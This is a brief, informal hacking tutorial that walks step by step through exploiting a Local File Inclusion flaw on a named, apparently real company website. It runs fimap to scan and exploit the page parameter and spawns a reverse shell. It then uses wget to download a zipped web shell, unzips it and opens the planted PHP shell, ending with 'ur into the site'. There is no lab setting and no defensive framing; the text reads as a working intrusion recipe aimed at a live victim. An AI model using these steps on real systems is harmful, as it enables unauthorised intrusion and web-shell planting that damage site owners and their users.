Local File Inclusion Example 3

step by step LFI:

step 1:
             the vulnurable link is
             http://www.egenerationglobal.com/index.php?page=offshore_software_development.php
        step 2:
             scan it with fimap
           
    disktop/fi>fimap.py -u "http://www.egenerationglobal.com/index.php?page=offshore_software_development.php"
step 3:
    exploit with fimap

    disktop/fi>fimap.py -x "http://www.egenerationglobal.com/index.php?page=offshore_software_development.php"
  step 4:
    now it will ask to choose a domain we wanna exploit juz choose a number

step 5:
    it will ask for the two available attack so we need to choose any one
    Spawn Shell            
             Create reverse shell...
        step 6:
    now make a directory using MKDIR command

  step 7:
      now change the path to the directory
step 8:
 `  
    now get the shell using WGET command from any website which we have uploaded in our
    we have shell in
    http://www.egenerationglobal.com/Mr12/india.zip
         
    mr12>WGET http://www.egenerationglobal.com/Mr12/india.zip..... just press enter
             now the shell is being copied which is present in zip file
        step 9:
    now we have to unzip the shell
    simply use the command UNZIP
 
             MR12>unzip india.zip

        step 10:
                websitename.com/directoryname/filename.php
                http://www.egenerationglobal.com/Mr12/india.php



               hurayyyyyyyyyy ur into the site